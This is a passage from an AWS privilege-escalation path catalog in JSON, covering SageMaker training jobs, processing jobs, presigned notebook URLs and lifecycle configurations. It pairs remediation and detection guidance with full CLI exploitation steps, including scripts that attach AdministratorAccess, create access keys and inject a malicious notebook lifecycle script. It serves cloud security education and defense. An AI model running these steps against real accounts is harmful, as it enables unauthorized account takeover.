          "description": "The attacker creates a new SageMaker training job and passes a privileged role to it. The training job is configured with a malicious training script (uploaded to S3) or a custom container image that will execute code to escalate privileges.\n\nCommands:\n```bash\n# Create malicious training script\necho '#!/bin/bash\naws iam attach-user-policy --user-name attacker --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n' > exploit.sh && chmod +x exploit.sh\n\n# Upload to S3\naws s3 cp exploit.sh s3://BUCKET_NAME/exploit/exploit.sh\n\n# Create training job with privileged role\naws sagemaker create-training-job \\\n  --training-job-name privesc-training \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --algorithm-specification TrainingImage=IMAGE_URI,TrainingInputMode=File \\\n  --input-data-config '[{\"ChannelName\":\"training\",\"DataSource\":{\"S3DataSource\":{\"S3DataType\":\"S3Prefix\",\"S3Uri\":\"s3://BUCKET_NAME/exploit/\"}}}]' \\\n  --output-data-config S3OutputPath=s3://BUCKET_NAME/output \\\n  --resource-config InstanceType=ml.m5.large,InstanceCount=1,VolumeSizeInGB=10 \\\n  --stopping-condition MaxRuntimeInSeconds=1800\n```\n\nThe training job will automatically start and execute the malicious code.\n"
        },
        {
          "from": "training_job",
          "to": "target_role",
          "label": "Training job assumes role",
          "description": "When the SageMaker training job starts, the SageMaker service automatically assumes the target role on behalf of the training job. The training script or container code then executes with all the permissions granted to this role, including full access to AWS APIs via the AWS SDK or CLI.\n"
        },
        {
          "from": "target_role",
          "to": "exfiltrate",
          "label": "Training job executes",
          "description": "The training job executes the malicious code with the target role's permissions. The code can perform any AWS API calls allowed by the role, such as escalating the attacker's privileges, exfiltrating data, or creating backdoors.\n\nCommand to monitor:\n```bash\naws sagemaker describe-training-job --training-job-name privesc-training\n```\n\nThe training job runs automatically and executes the malicious script or container code with elevated privileges.\n"
        },
        {
          "from": "exfiltrate",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the attacker gains full control over the AWS account. The malicious training code can attach admin policies to the attacker's principal, create new admin access keys, or perform any administrative action.\n"
        },
        {
          "from": "exfiltrate",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This might include write access to S3 buckets, ability to modify specific resources, or permissions that enable additional privilege escalation techniques through other paths.\n"
        },
        {
          "from": "exfiltrate",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions, the privilege escalation may not yield meaningful additional access. The training job would execute successfully but without useful privileges to escalate further.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/sagemaker/sagemaker-002.yaml"
  },
  {
    "id": "sagemaker-003",
    "name": "iam:PassRole + sagemaker:CreateProcessingJob",
    "category": "new-passrole",
    "services": [
      "iam",
      "sagemaker"
    ],
    "description": "A principal with `iam:PassRole` and `sagemaker:CreateProcessingJob` can create a SageMaker processing job with a privileged execution role. Processing jobs can execute arbitrary container code for data processing tasks and access AWS APIs with the permissions of the attached IAM role. By creating a processing job with a malicious container or processing script, the attacker can execute code with elevated privileges.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)",
        "An S3 bucket must be accessible to store input/output data"
      ],
      "lateral": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it",
        "An S3 bucket must be accessible to store input/output data"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "echo '#!/usr/bin/env python3\nimport boto3\niam = boto3.client(\"iam\")\niam.attach_user_policy(\n    UserName=\"YOUR_USERNAME\",\n    PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n)\n' > exploit.py\n",
          "description": "Create a malicious processing script that attaches AdministratorAccess policy to your user"
        },
        {
          "step": 2,
          "command": "aws s3 cp exploit.py s3://BUCKET_NAME/scripts/exploit.py\n",
          "description": "Upload the malicious script to S3"
        },
        {
          "step": 3,
          "command": "aws sagemaker create-processing-job \\\n  --processing-job-name privesc-processing \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --app-specification '{\"ImageUri\":\"683313688378.dkr.ecr.us-east-1.amazonaws.com/sagemaker-scikit-learn:1.0-1-cpu-py3\",\"ContainerEntrypoint\":[\"python3\"],\"ContainerArguments\":[\"/opt/ml/processing/input/code/exploit.py\"]}' \\\n  --processing-inputs '[{\"InputName\":\"code\",\"S3Input\":{\"S3Uri\":\"s3://BUCKET_NAME/scripts/\",\"LocalPath\":\"/opt/ml/processing/input/code\",\"S3DataType\":\"S3Prefix\",\"S3InputMode\":\"File\"}}]' \\\n  --processing-output-config '{\"Outputs\":[{\"OutputName\":\"output\",\"S3Output\":{\"S3Uri\":\"s3://BUCKET_NAME/output/\",\"LocalPath\":\"/opt/ml/processing/output\",\"S3UploadMode\":\"EndOfJob\"}}]}' \\\n  --processing-resources '{\"ClusterConfig\":{\"InstanceCount\":1,\"InstanceType\":\"ml.t3.medium\",\"VolumeSizeInGB\":10}}'\n",
          "description": "Create a processing job with the privileged role that executes the malicious Python script"
        },
        {
          "step": 4,
          "command": "aws sagemaker describe-processing-job --processing-job-name privesc-processing",
          "description": "Monitor the processing job status and wait for execution"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a SageMaker processing job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificSageMakerRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual SageMaker processing job creation followed by immediate execution\n- Monitor CloudTrail for processing job creation by principals who do not usually create processing jobs\n- Monitor CloudTrail for roles being passed to SageMaker that haven't been used before\n- Monitor and alert on SageMaker processing job creation with privileged roles\n- Regularly audit SageMaker processing jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the SageMaker service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2022,
        "link": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/sagemaker_edges.py"
      },
      "derivativeOf": {
        "pathId": "sagemaker-001",
        "modification": "This variation uses sagemaker:CreateProcessingJob instead of sagemaker:CreateNotebookInstance to execute code with the passed role's permissions via a processing container"
      },
      "ultimateOrigin": {
        "pathId": "sagemaker-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - SageMaker PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - SageMaker Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/index.html#sagemakercreateprocessingjob-iampassrole"
      }
    ],
    "relatedPaths": [
      "sagemaker-001",
      "sagemaker-002"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/sagemaker_edges.py#L127",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L266",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L228"
    },
    "learningEnvironments": {
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SageMaker-CreateProcessingJobPassRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+sagemaker-createprocessingjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "sagemaker:CreateProcessingJob",
          "resourceConstraints": "Must have permission to create SageMaker processing jobs"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole` and `sagemaker:CreateProcessingJob` permissions. This principal will create a SageMaker processing job with a privileged role attached and execute malicious code within the processing job container.\n"
        },
        {
          "id": "processing_job",
          "label": "New SageMaker Processing Job",
          "type": "resource",
          "description": "The newly created SageMaker processing job configured with a malicious processing script. The job is created with `sagemaker:CreateProcessingJob` and uses a privileged IAM role via `iam:PassRole`. Processing jobs execute container code for data processing tasks and can run arbitrary commands with the permissions of the attached role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the sagemaker Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the SageMaker processing job during creation. This role must trust sagemaker.amazonaws.com as a principal in its trust policy. When the processing job executes, it runs with this role's permissions, allowing the malicious script to access AWS APIs.\n"
        },
        {
          "id": "execute_script",
          "label": "Execute Malicious Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious processing script executes within the SageMaker processing job container with the target role's permissions. The script can perform privileged API calls such as creating access keys, modifying IAM policies, or accessing sensitive resources. The script output can be written to S3 or the processing job logs.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account. The malicious script can create access keys for the attacker, modify IAM policies, or directly access any AWS resource.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB), the ability to modify specific resources, or permissions that enable additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the privilege escalation may not provide meaningful additional access to the attacker. However, even limited access could be useful for reconnaissance.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "processing_job",
          "label": "iam:PassRole + sagemaker:CreateProcessingJob",
          "description": "The attacker creates a SageMaker processing job with a malicious processing script and passes a privileged role to it. The script is uploaded to S3 and configured as the container entrypoint.\n\nCommands:\n```bash\n# Create malicious script\necho '#!/bin/bash\naws iam create-access-key --user-name attacker\n' > process.sh && chmod +x process.sh\n\n# Upload to S3\naws s3 cp process.sh s3://BUCKET_NAME/processing/process.sh\n\n# Create processing job\naws sagemaker create-processing-job \\\n  --processing-job-name privesc-processing \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --app-specification ImageUri=IMAGE_URI,ContainerEntrypoint=/opt/ml/processing/input/process.sh \\\n  --processing-inputs '[{\"InputName\":\"code\",\"S3Input\":{\"S3Uri\":\"s3://BUCKET_NAME/processing/\",\"LocalPath\":\"/opt/ml/processing/input\",\"S3DataType\":\"S3Prefix\",\"S3InputMode\":\"File\"}}]' \\\n  --processing-outputs '[{\"OutputName\":\"output\",\"S3Output\":{\"S3Uri\":\"s3://BUCKET_NAME/output\",\"LocalPath\":\"/opt/ml/processing/output\",\"S3UploadMode\":\"EndOfJob\"}}]' \\\n  --processing-resources ClusterConfig={InstanceCount=1,InstanceType=ml.m5.large,VolumeSizeInGB=10}\n```\n\nThe processing job configuration specifies the malicious script as the container entrypoint.\n"
        },
        {
          "from": "processing_job",
          "to": "target_role",
          "label": "Job assumes role",
          "description": "When the SageMaker processing job starts, the SageMaker service automatically assumes the target role on behalf of the processing job. The container code then executes with all the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_script",
          "label": "Execute processing script",
          "description": "The processing job executes the malicious script with the target role's permissions. The script can access AWS APIs through the role's credentials, which are automatically available to the container via the AWS SDK or environment variables.\n\nCommand to monitor:\n```bash\naws sagemaker describe-processing-job --processing-job-name privesc-processing\n```\n\nThe attacker monitors the job status and retrieves output from S3 or CloudWatch logs.\n"
        },
        {
          "from": "execute_script",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the attacker gains full control over the AWS account. The malicious script can create access keys for the attacker, modify IAM policies to grant persistent access, or directly access any AWS resource.\n"
        },
        {
          "from": "execute_script",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This might include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables), permissions to modify specific resources, or the ability to pursue additional privilege escalation techniques.\n"
        },
        {
          "from": "execute_script",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions, the privilege escalation may not yield meaningful additional access. However, the attacker could still use the processing job for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/sagemaker/sagemaker-003.yaml"
  },
  {
    "id": "sagemaker-004",
    "name": "sagemaker:CreatePresignedNotebookInstanceUrl",
    "category": "existing-passrole",
    "services": [
      "sagemaker"
    ],
    "description": "A principal with `sagemaker:CreatePresignedNotebookInstanceUrl` can generate a presigned URL to access an existing SageMaker notebook instance. If the notebook instance has a privileged execution role attached, the attacker can access the Jupyter environment and execute arbitrary code with the permissions of that role. This does not require creating a new notebook - only accessing an existing one.",
    "prerequisites": {
      "admin": [
        "A SageMaker notebook instance must exist with an administrative execution role",
        "The notebook instance must be in 'InService' status"
      ],
      "lateral": [
        "A SageMaker notebook instance must exist with a privileged execution role",
        "The notebook instance must be in 'InService' status"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sagemaker list-notebook-instances",
          "description": "List available notebook instances to find targets with privileged roles"
        },
        {
          "step": 2,
          "command": "aws sagemaker describe-notebook-instance --notebook-instance-name TARGET_NOTEBOOK",
          "description": "Check the notebook's execution role ARN to confirm it has elevated permissions"
        },
        {
          "step": 3,
          "command": "aws sagemaker create-presigned-notebook-instance-url \\\n  --notebook-instance-name TARGET_NOTEBOOK\n",
          "description": "Generate a presigned URL to access the notebook"
        },
        {
          "step": 4,
          "command": "Open the presigned URL in a browser and use the Jupyter terminal to execute privileged commands",
          "description": "Access the notebook and execute commands with the privileged role's permissions"
        }
      ]
    },
    "recommendation": "Restrict the `sagemaker:CreatePresignedNotebookInstanceUrl` permission using resource-based constraints.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"sagemaker:CreatePresignedNotebookInstanceUrl\",\n  \"Resource\": \"arn:aws:sagemaker:REGION:ACCOUNT_ID:notebook-instance/SpecificNotebook\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:PrincipalAccount\": \"ACCOUNT_ID\"\n    }\n  }\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for `CreatePresignedNotebookInstanceUrl` events on sensitive notebooks\n- Use notebook lifecycle configurations to restrict capabilities\n- Implement VPC configuration to isolate notebook instances\n- Alert on presigned URL creation for notebooks with privileged roles\n- Regularly audit notebook instance execution roles and remove excessive permissions\n- Use SCPs to restrict notebook access patterns\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - SageMaker Presigned URL",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - SageMaker Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/index.html#sagemakercreatepresignednotebookinstanceurl"
      }
    ],
    "relatedPaths": [
      "sagemaker-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L271",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L174"
    },
    "learningEnvironments": {
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SageMakerCreatePresignedNotebookURL",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/sagemaker-createpresignednotebookinstanceurl",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "sagemaker:CreatePresignedNotebookInstanceUrl",
          "resourceConstraints": "Must have permission to create presigned URLs for the target notebook instance"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `sagemaker:CreatePresignedNotebookInstanceUrl` permission. This principal can generate presigned URLs to access existing SageMaker notebook instances without creating new resources.\n"
        },
        {
          "id": "notebook_instance",
          "label": "Existing SageMaker Notebook Instance",
          "type": "resource",
          "description": "An existing SageMaker notebook instance in 'InService' status with a privileged execution role attached. The notebook provides a Jupyter environment where code can be executed. The execution role is used by the notebook to make AWS API calls, and any code executed in the notebook inherits these permissions.\n"
        },
        {
          "id": "execution_role",
          "label": "notebook-execution-role",
          "type": "principal",
          "description": "The IAM role attached to the notebook instance as its execution role. This role must trust sagemaker.amazonaws.com in its trust policy. When code is executed in the Jupyter notebook, it runs with the permissions of this execution role. The role's credentials are available through the AWS SDK or instance metadata service.\n"
        },
        {
          "id": "exfiltrate",
          "label": "Execute code in Jupyter",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once the attacker accesses the notebook via the presigned URL, they can use the Jupyter terminal or notebook cells to execute arbitrary code. The code runs with the execution role's permissions and can access AWS credentials through the AWS SDK. Common actions include creating access keys, modifying IAM policies, or accessing sensitive data in S3/RDS/DynamoDB.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the notebook's execution role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by executing code in the Jupyter environment with those permissions.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the notebook's execution role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3, RDS, DynamoDB), ability to modify specific resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the notebook's execution role only has minimal permissions (e.g., only CloudWatch Logs write access), the privilege escalation may not provide meaningful additional access to the attacker.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "notebook_instance",
          "label": "sagemaker:CreatePresignedNotebookInstanceUrl",
          "description": "The attacker generates a presigned URL to access an existing notebook instance. This does not require creating any new resources, only accessing an existing one.\n\nCommand:\n```bash\naws sagemaker create-presigned-notebook-instance-url \\\n  --notebook-instance-name TARGET_NOTEBOOK\n```\n\nThe command returns a presigned URL that provides authenticated access to the Jupyter notebook interface for a limited time (typically 12 hours by default).\n"
        },
        {
          "from": "notebook_instance",
          "to": "execution_role",
          "label": "Notebook uses execution role",
          "description": "The notebook instance is configured with an execution role that is automatically assumed when code runs in the Jupyter environment. The attacker doesn't need to explicitly assume the role - any code executed in the notebook automatically runs with the execution role's permissions through the notebook's IAM credentials.\n"
        },
        {
          "from": "execution_role",
          "to": "exfiltrate",
          "label": "Access Jupyter environment",
          "description": "The attacker opens the presigned URL in a browser to access the Jupyter notebook interface. They can then use the Jupyter terminal or create notebook cells to execute arbitrary Python or shell commands with the execution role's permissions.\n\nExample actions in Jupyter terminal:\n```bash\n# View the execution role credentials\naws sts get-caller-identity\n\n# Create access keys for starting principal\naws iam create-access-key --user-name STARTING_USER\n\n# Access sensitive data\naws s3 ls s3://sensitive-bucket\n```\n"
        },
        {
          "from": "exfiltrate",
          "to": "admin_outcome",
          "label": "If execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the notebook's execution role has AdministratorAccess or equivalent administrative permissions, the attacker gains full control over the AWS account. They can execute any AWS API call through the Jupyter environment or exfiltrate the execution role's credentials for later use.\n"
        },
        {
          "from": "exfiltrate",
          "to": "partial_outcome",
          "label": "If execution role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the notebook's execution role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. Common scenarios include access to sensitive data stores, ability to modify specific resources like Lambda functions or EC2 instances, or permissions that enable chaining to other privilege escalation techniques.\n"
        },
        {
          "from": "exfiltrate",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the notebook's execution role only has minimal permissions typically needed for notebook operation (such as CloudWatch Logs write access and basic SageMaker permissions), the privilege escalation may not yield meaningful additional access beyond what the starting principal already had.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/sagemaker/sagemaker-004.yaml"
  },
  {
    "id": "sagemaker-005",
    "name": "sagemaker:CreateNotebookInstanceLifecycleConfig + sagemaker:StopNotebookInstance + sagemaker:UpdateNotebookInstance + sagemaker:StartNotebookInstance",
    "category": "existing-passrole",
    "services": [
      "sagemaker",
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L275",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L175"
    },
    "permissions": {
      "required": [
        {
          "permission": "sagemaker:CreateNotebookInstanceLifecycleConfig",
          "resourceConstraints": "Can create lifecycle configurations with any name"
        },
        {
          "permission": "sagemaker:StopNotebookInstance",
          "resourceConstraints": "Must have access to stop the target notebook instance"
        },
        {
          "permission": "sagemaker:UpdateNotebookInstance",
          "resourceConstraints": "Must have access to update the target notebook instance"
        },
        {
          "permission": "sagemaker:StartNotebookInstance",
          "resourceConstraints": "Must have access to start the target notebook instance"
        }
      ],
      "additional": [
        {
          "permission": "sagemaker:DescribeNotebookInstance",
          "resourceConstraints": "Helpful for viewing notebook details, status, and attached execution role"
        },
        {
          "permission": "sagemaker:ListNotebookInstances",
          "resourceConstraints": "Useful for discovering available notebook instances to target"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for verifying the notebook's execution role has elevated permissions"
        }
      ]
    },
    "description": "A principal with SageMaker notebook management permissions can inject malicious code into an existing notebook instance by creating a malicious lifecycle configuration and attaching it to the notebook. Lifecycle configurations are shell scripts that execute automatically when a notebook starts, and critically, these scripts run with the notebook's execution role credentials rather than the attacker's credentials. By stopping the notebook, attaching a malicious lifecycle config, and restarting it, the attacker can execute arbitrary code with the notebook's execution role permissions. If the notebook has an execution role with administrative access (a common practice for data science workflows), the attacker gains full administrative access to the AWS account.",
    "prerequisites": {
      "admin": [
        "A SageMaker notebook instance must exist in the account",
        "The notebook must have an execution role with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A SageMaker notebook instance must exist in the account",
        "The notebook must have an execution role with some elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sagemaker list-notebook-instances\n",
          "description": "Discover available SageMaker notebook instances in the account"
        },
        {
          "step": 2,
          "command": "aws sagemaker describe-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME\n",
          "description": "Get details about the target notebook including its execution role ARN and current status"
        },
        {
          "step": 3,
          "command": "aws iam get-role --role-name NOTEBOOK_EXECUTION_ROLE_NAME\naws iam list-attached-role-policies --role-name NOTEBOOK_EXECUTION_ROLE_NAME\n",
          "description": "Verify the notebook's execution role has the desired elevated permissions"
        },
        {
          "step": 4,
          "command": "aws sagemaker stop-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME\n",
          "description": "Stop the notebook instance (lifecycle configurations can only be modified when the notebook is stopped). Wait for the notebook to reach 'Stopped' status before proceeding"
        },
        {
          "step": 5,
          "command": "# Create a base64-encoded malicious script\nLIFECYCLE_SCRIPT='#!/bin/bash\nset -e\n# This script runs with the notebook execution role credentials\naws iam attach-user-policy \\\n  --user-name YOUR_USERNAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n'\nENCODED_SCRIPT=$(echo \"$LIFECYCLE_SCRIPT\" | base64)\n\naws sagemaker create-notebook-instance-lifecycle-config \\\n  --notebook-instance-lifecycle-config-name malicious-lifecycle-config \\\n  --on-start Content=\"$ENCODED_SCRIPT\"\n",
          "description": "Create a malicious lifecycle configuration with a script that will grant you administrative access. The script must be base64-encoded"
        },
        {
          "step": 6,
          "command": "aws sagemaker update-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME \\\n  --lifecycle-config-name malicious-lifecycle-config\n",
          "description": "Attach the malicious lifecycle configuration to the target notebook. Wait for the update to complete (notebook returns to 'Stopped' status)"
        },
        {
          "step": 7,
          "command": "aws sagemaker start-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME\n",
          "description": "Start the notebook instance. The malicious lifecycle script will execute automatically during startup with the notebook's execution role credentials. Wait for the notebook to reach 'InService' status (5-8 minutes)"
        },
        {
          "step": 8,
          "command": "# Wait 15-30 seconds for IAM policy changes to propagate\nsleep 15\n\naws iam list-users --max-items 3\n",
          "description": "Verify you now have administrative access by attempting admin-level actions like listing IAM users"
        }
      ]
    },
